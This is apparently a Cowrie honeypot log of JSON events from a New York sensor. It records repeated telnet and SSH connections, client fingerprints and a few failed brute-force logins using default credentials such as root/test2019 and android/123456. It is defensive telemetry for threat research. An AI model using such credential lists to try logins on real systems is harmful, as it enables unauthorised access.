{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47868,"dst_ip":"159.203.135.109","dst_port":23,"session":"0348d11664b3","protocol":"telnet","message":"New connection: 209.159.146.115:47868 (159.203.135.109:23) [session: 0348d11664b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:37.663540Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48022,"dst_ip":"159.203.135.109","dst_port":23,"session":"4102a83a199c","protocol":"telnet","message":"New connection: 209.159.146.115:48022 (159.203.135.109:23) [session: 4102a83a199c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:37.724246Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49404,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aaabda38270","protocol":"telnet","message":"New connection: 209.159.146.115:49404 (159.203.135.109:23) [session: 9aaabda38270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:38.185374Z"}
{"eventid":"cowrie.session.closed","duration":32.50485801696777,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:38.664838Z","src_ip":"209.159.146.115","session":"acf51f2f0bc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.12307000160217,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:41.644007Z","src_ip":"209.159.146.115","session":"91eee638d0bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.489460945129395,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:42.639993Z","src_ip":"209.159.146.115","session":"baf812c5f84d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.81412363052368,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:42.864827Z","src_ip":"209.159.146.115","session":"ec12a09cd809","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":35530,"dst_ip":"10.17.0.5","dst_port":22,"session":"a02290fc3995","protocol":"ssh","message":"New connection: 80.94.92.182:35530 (10.17.0.5:22) [session: a02290fc3995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:44.042423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:44.103424Z","src_ip":"80.94.92.182","session":"a02290fc3995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:44.255950Z","src_ip":"80.94.92.182","session":"a02290fc3995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.83698844909668,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:44.980830Z","src_ip":"209.159.146.115","session":"7f16d2ad24bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.746845722198486,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:45.984098Z","src_ip":"209.159.146.115","session":"8f7aa516d750","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.824674129486084,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:46.067652Z","src_ip":"209.159.146.115","session":"7e2a30bca1f8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:46.182116Z","src_ip":"80.94.92.182","session":"a02290fc3995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.05679726600647,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:46.448368Z","src_ip":"209.159.146.115","session":"ce7e2d5efd8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57404,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ec2aacc680f","protocol":"telnet","message":"New connection: 209.159.146.115:57404 (159.203.135.109:23) [session: 6ec2aacc680f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:47.279064Z"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:47.465073Z","src_ip":"80.94.92.182","session":"a02290fc3995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":51378,"dst_ip":"159.203.135.109","dst_port":23,"session":"96f1034b91d4","protocol":"telnet","message":"New connection: 185.26.126.47:51378 (159.203.135.109:23) [session: 96f1034b91d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:47.732719Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":51380,"dst_ip":"159.203.135.109","dst_port":23,"session":"aadd6a1074d5","protocol":"telnet","message":"New connection: 185.26.126.47:51380 (159.203.135.109:23) [session: aadd6a1074d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:47.736390Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47074,"dst_ip":"159.203.135.109","dst_port":22,"session":"87fd655c2cdc","protocol":"ssh","message":"New connection: 159.203.92.129:47074 (159.203.135.109:22) [session: 87fd655c2cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:48.162316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:48.166687Z","src_ip":"159.203.92.129","session":"87fd655c2cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:48.171317Z","src_ip":"159.203.92.129","session":"87fd655c2cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"android","password":"123456","message":"login attempt [android/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:48.182399Z","src_ip":"159.203.92.129","session":"87fd655c2cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.954617500305176,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:48.568538Z","src_ip":"209.159.146.115","session":"2f18260ddcb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:49.188888Z","src_ip":"159.203.92.129","session":"87fd655c2cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37940,"dst_ip":"159.203.135.109","dst_port":23,"session":"469a467588a9","protocol":"telnet","message":"New connection: 209.159.146.115:37940 (159.203.135.109:23) [session: 469a467588a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:49.206865Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42274,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a7943ea94f7","protocol":"telnet","message":"New connection: 209.159.146.115:42274 (159.203.135.109:23) [session: 2a7943ea94f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:50.221854Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42810,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9f64a74f6fb","protocol":"telnet","message":"New connection: 209.159.146.115:42810 (159.203.135.109:23) [session: a9f64a74f6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:50.479895Z"}
{"eventid":"cowrie.session.closed","duration":33.45775365829468,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:50.571591Z","src_ip":"209.159.146.115","session":"d83f42d81e21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":54290,"dst_ip":"159.203.135.109","dst_port":22,"session":"be667c68b868","protocol":"ssh","message":"New connection: 103.180.212.135:54290 (159.203.135.109:22) [session: be667c68b868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:50.794946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:50.799392Z","src_ip":"103.180.212.135","session":"be667c68b868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:50.994533Z","src_ip":"103.180.212.135","session":"be667c68b868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.42950654029846,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:51.300746Z","src_ip":"209.159.146.115","session":"745c1cb0264a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.189396619796753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:51.434968Z","src_ip":"209.159.146.115","session":"68825935ec9e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test2019","message":"login attempt [root/test2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:51.807989Z","src_ip":"103.180.212.135","session":"be667c68b868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55308,"dst_ip":"159.203.135.109","dst_port":23,"session":"81b5c112b197","protocol":"telnet","message":"New connection: 209.159.146.115:55308 (159.203.135.109:23) [session: 81b5c112b197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:52.586778Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55668,"dst_ip":"159.203.135.109","dst_port":23,"session":"c445b880d988","protocol":"telnet","message":"New connection: 209.159.146.115:55668 (159.203.135.109:23) [session: c445b880d988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:52.738232Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56012,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc76da626aaf","protocol":"telnet","message":"New connection: 209.159.146.115:56012 (159.203.135.109:23) [session: fc76da626aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:52.887884Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:53.005766Z","src_ip":"103.180.212.135","session":"be667c68b868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56752,"dst_ip":"159.203.135.109","dst_port":23,"session":"938c212b37a0","protocol":"telnet","message":"New connection: 209.159.146.115:56752 (159.203.135.109:23) [session: 938c212b37a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:53.151187Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34166,"dst_ip":"159.203.135.109","dst_port":23,"session":"96fa6c4ed018","protocol":"telnet","message":"New connection: 209.159.146.115:34166 (159.203.135.109:23) [session: 96fa6c4ed018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:54.050410Z"}
{"eventid":"cowrie.session.closed","duration":32.46948456764221,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:54.565419Z","src_ip":"209.159.146.115","session":"a4f0ca3f67e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.92898201942444,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:55.020213Z","src_ip":"209.159.146.115","session":"c7622f373871","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43282,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5a311c79996","protocol":"telnet","message":"New connection: 209.159.146.115:43282 (159.203.135.109:23) [session: f5a311c79996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:56.461128Z"}
{"eventid":"cowrie.session.closed","duration":39.20219039916992,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:56.607937Z","src_ip":"209.159.146.115","session":"7d24c35b2973","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.206393241882324,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:56.831259Z","src_ip":"209.159.146.115","session":"726c89be2965","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.75375533103943,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:56.956935Z","src_ip":"209.159.146.115","session":"bacd50161b5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.811678647994995,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:58.471393Z","src_ip":"209.159.146.115","session":"0930eb660b3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34554,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad4f8cfb2733","protocol":"telnet","message":"New connection: 209.159.146.115:34554 (159.203.135.109:23) [session: ad4f8cfb2733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:59.664927Z"}
{"eventid":"cowrie.session.closed","duration":45.55936551094055,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:01.969285Z","src_ip":"209.159.146.115","session":"16569d8823ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52254,"dst_ip":"159.203.135.109","dst_port":23,"session":"27023aa9f5bb","protocol":"telnet","message":"New connection: 209.159.146.115:52254 (159.203.135.109:23) [session: 27023aa9f5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:03.478650Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54290,"dst_ip":"159.203.135.109","dst_port":23,"session":"70ff21ef9ae0","protocol":"telnet","message":"New connection: 209.159.146.115:54290 (159.203.135.109:23) [session: 70ff21ef9ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:03.805408Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56086,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bcfdd3f7359","protocol":"telnet","message":"New connection: 209.159.146.115:56086 (159.203.135.109:23) [session: 7bcfdd3f7359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:04.549461Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57134,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7b1ea343d8e","protocol":"telnet","message":"New connection: 209.159.146.115:57134 (159.203.135.109:23) [session: d7b1ea343d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:04.935673Z"}
{"eventid":"cowrie.session.closed","duration":36.26204514503479,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:05.160090Z","src_ip":"209.159.146.115","session":"da382237c240","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.43082356452942,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:05.977903Z","src_ip":"209.159.146.115","session":"7d0e56a8ab45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59938,"dst_ip":"159.203.135.109","dst_port":23,"session":"36ff3d6f5474","protocol":"telnet","message":"New connection: 209.159.146.115:59938 (159.203.135.109:23) [session: 36ff3d6f5474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:06.689780Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36866,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e50bfda827b","protocol":"telnet","message":"New connection: 209.159.146.115:36866 (159.203.135.109:23) [session: 9e50bfda827b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:07.121733Z"}
{"eventid":"cowrie.session.closed","duration":33.998483419418335,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:07.211734Z","src_ip":"209.159.146.115","session":"1035d094e2ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38241,"dst_ip":"159.203.135.109","dst_port":23,"session":"23fceb34b331","protocol":"telnet","message":"New connection: 209.159.146.115:38241 (159.203.135.109:23) [session: 23fceb34b331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:07.341212Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40384,"dst_ip":"159.203.135.109","dst_port":23,"session":"fed4e54013b1","protocol":"telnet","message":"New connection: 209.159.146.115:40384 (159.203.135.109:23) [session: fed4e54013b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:07.589063Z"}
{"eventid":"cowrie.session.closed","duration":38.64475989341736,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:08.938856Z","src_ip":"209.159.146.115","session":"0cabb74f19f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872145891189575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:09.057409Z","src_ip":"209.159.146.115","session":"9aaabda38270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50046,"dst_ip":"159.203.135.109","dst_port":23,"session":"799b25fe0345","protocol":"telnet","message":"New connection: 209.159.146.115:50046 (159.203.135.109:23) [session: 799b25fe0345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:09.345680Z"}
{"eventid":"cowrie.session.closed","duration":35.35345792770386,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:11.160882Z","src_ip":"209.159.146.115","session":"01c37310f177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56828,"dst_ip":"159.203.135.109","dst_port":23,"session":"3603562f2749","protocol":"telnet","message":"New connection: 209.159.146.115:56828 (159.203.135.109:23) [session: 3603562f2749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:11.442864Z"}
